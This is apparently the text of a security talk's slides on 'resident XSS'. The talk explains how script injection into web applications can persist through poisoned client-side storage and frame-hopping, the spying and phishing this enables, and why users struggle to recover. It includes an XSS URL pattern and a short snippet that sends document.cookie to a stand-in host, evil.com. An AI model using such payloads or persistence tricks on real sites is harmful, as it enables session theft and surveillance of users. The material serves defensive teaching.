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What's this talk about?

 Attacks on Web application clients
 Various kinds of script injection

 What happens after such an attack is successful
 Bonus: a new buzzword (resident XSS)

 Why we're doomed (after we get XSS-ed)



So what's this stuff about rootkits?

 Exploitation model for traditional software
 Get code execution

 Find security vulnerability
 Bypass exploit protection

 Insert backdoor
 Maintain access
 Hide your presence
 Do Evil

Webapps have evolved to the point where attacks are similar.

} rootkit



XSS: 20-second introduction

https://victim.net/?q='>”><script>...</script>

 Lack of escaping of untrusted data
 Allows attacker's scripts to run in the context of victim domain
 Executes in the scope of an authenticated user's session (can 
do anything the user can)



 How XSS isn't exploited

 The user does not click on a link to:
 https://victim.com/?q=<script>..</script>

 The payload is not like this:

var img = document.createElement('img');

img.src = 'http://evil.com/' +     
document.cookie;

(why doesn't this work?) 



How XSS might be exploited



How XSS might be exploited



How XSS might be exploited

 The user visits a random attacker-controlled page
Page contains hidden frame with payload
Exploit does something malicious

 The user hits a persistent XSS within the webapp
 The payload attempts to infect others (XSS worm)
 Possibly also does something malicious

(what's the problem with this?) 



 

 XSS in the webapp
 Minor detail: Must bypass browser XSS filters, WAFs

 UXSS
 Browser-specific (relatively rare)
 Flash, Java (“It's always frickin' Java” - Dan Kaminsky)
 Other browser plugins, browser extensions

 User interaction attacks 
 javascript:doEvil() in URL bar
 drag and drop attacks

Injecting evil scripts



 

 If you get control of a trusted domain
● <script src=https://OMGawesomeJSbunnies.com/bunny.js>

 If you get control of the victim's domain and serve evil HTML
 Cache poisoning:

●  DNS hijacking
●  Abusing HTTP proxies
●  Can cache http://victim.com/good.js for a long time. 

Injecting evil scripts



 

 Violations of HTTPS
  Mixed content aka mixed scripting bugs
  Stolen/forged certificate for victim.com or 

OMGawesomeJSbunnies.com
  State-sponsored CAs issuing rogue certs 
  (duh) Getting the user to click through an SSL warning

 

Injecting evil scripts

Note: after the external script runs, we can assume the attacker 
has a direct communications channel to the victim's browser.



In Soviet Russia, scripts execute you.



Resident XSS

Malicious code injected into the user's main 
web application window/tab.

_______

     
BUZZWORD



 
 Persistent XSS on regular navigation that will infect the main 

application tab:
 Seeing some unsanitized data submitted by another 

user (status update, email subject, forum comment)
 Application loads data from a client-side storage mechanism:

 Loads CSS/JS from localStorage upon initialization
 Webapp shows some data stored in WebSQL 
 Exploiting: regular XSS sets up backdoored client-

side storage data, then we wait for user to log back in
 Dawn Song et al. (2010)

How can we get a resident XSS?



How can we get a resident XSS?
  Regular XSS opens up a new tab to the webapp, user starts 

interacting with compromised tab.
  Malicious external resource loaded when opening up 

webapp
  Poisoned file in cache loaded when opening up webapp
  User fooled into executing a javascript: URL

Hypothesis: We can convert any script injection vulnerability 
into a resident XSS in a large majority of cases.





 Why a resident XSS is bad news
  “You can log off, but you can never leave.”
  You can't easily leave the infected page without closing it
  Anything you do in the app can be seen by the attacker

  Off-the-record chats, keystrokes typed in without 
submitting any forms, mouse movements, time spent 
interacting with the application

  Anything you see in the app can be modified by the attacker
 Spoofed messages from webapp or other users, 

payment requests, etc. 
 No trace of evil behavior in webapp logs



Why a resident XSS is bad news
  Attacker can easily phish you from within the app

 Show an overlay with a regular login prompt
 Get answer to your bank account security question

  Can persistently snoop on you using permissions given by 
you to the application (or request them)

 Geolocation APIs
 Microphone/camera permissions.

  Can abuse the trust relationship to elevate privileges
 Hijack file downloads / attachments
 Insert malicious downloads
 Get you to install malicious plugins ("To see the new 

cute kittens you must install our Trusted Chat Plugin")



Why a resident XSS is bad news
 Attacker can poison new windows/tabs

 If there are ads on the opened page, can navigate to 
their frames and control their contents

 Can iframe target page within victim domain: 
http://victim.com/bounce#http://cnn.com

 Can inject the same evil script, so that even if main 
window is closed, attacker-supplied code will live on.

 Long term access to the browser and ability to perform the 
usual malicious JavaScript tricks (history detection, scanning 
local networks, attacking other webapps, DDoS, bitcoin 
mining, etc.)

 It's relatively easy to do and it doesn't leave a trace





 Maintaining access
 

Backdooring client storage 
 HTML5 localStorage

• Mobile interfaces often cache JS/CSS. 
Attacker can load the mobile interface in a 
hidden frame when the user visits evil site

 Web SQL Database 
 Flash LSOs ("cookies"): If LSOs store URLs or data 

evaluated via loadBytes(), can inject attacker's code
 Regular cookies





 Maintaining access

 Helping attacker's code survive in the browser
 Open up a small new window (e.g. a pop-under) to the 

victim's domain, inject malicious code into the DOM
 Search for references to other open tabs, try to inject evil 

code into ad / tracking pixel frames
● Frame-hopping!

 If domains opened in other tabs have known XSS bugs, 
exploit them and insert hidden frames to victim domain



 Recovering after an attack
What can the affected Web application do?

Browsers have no capability to recover from such an event 
If the user has an open “infected” tab or frame to the 
victim's domain, it can always mess with active sessions
 Any <meta> refresh functionality or AJAX-y server-
supplied code execution can be subverted by the evil script
 Can't even communicate the problem to the user



 Recovering after an attack
What can the affected user do?

 Close the tab with the Web application
 Won't work because hidden frames or other tabs might 

be executing scripts in the context of the webapp domain
 Close all browser tabs, and then the browser itself

 Won't work, because client-side storage or cache can be 
poisoned

 First clear all local storage, then restart the browser
 Won't work because if any tabs with attacker's code are 

open, they can recreate the local storage backdoor



 Recovering after an attack

 What will likely work:
 Close all browser windows except one
 Close all tabs in that window except one
 Navigate the remaining tab to about:blank
 Remove all cookies, cache, “Site preferences” and Flash 

local shared objects
 Restart the browser, hope the webapp fixed the vuln, and 

 doesn't have any self-XSS bugs ;-)
 … or just throw away the browser profile





 

Code execution: XSS, script injection attacks

Exploit mitigations: XSS filters, WAFs

Maintaining access: poisoning localStorage, frame-hopping.

C&C channel: DNS-based, Web Workers + postMessage(...)
    Can also use XSS-Proxy / BeEF, etc.

Malicious payloads: Compromise data in webapp, phish passwords 
and compromise accounts in other apps, escalate access to code 
exec on machine, do the usual malicious JavaScript tricks

Recap: analogies in the client world



 
Takeaways
 

After an XSS has been executed in the context of a 
sensitive domain, it's very hard for the application author or 
user to make sure future interaction with the webapp is safe

Resident XSS is a quite nasty technique, and enables a 
whole lot of creative attacks against users:

 Subverting interactions with the webapp
 Various kinds of snooping
 Phishing and getting access to other user accounts
 Helping get code execution on the client



 

Michal Zalewski (hint: buy “The Tangled Web”)
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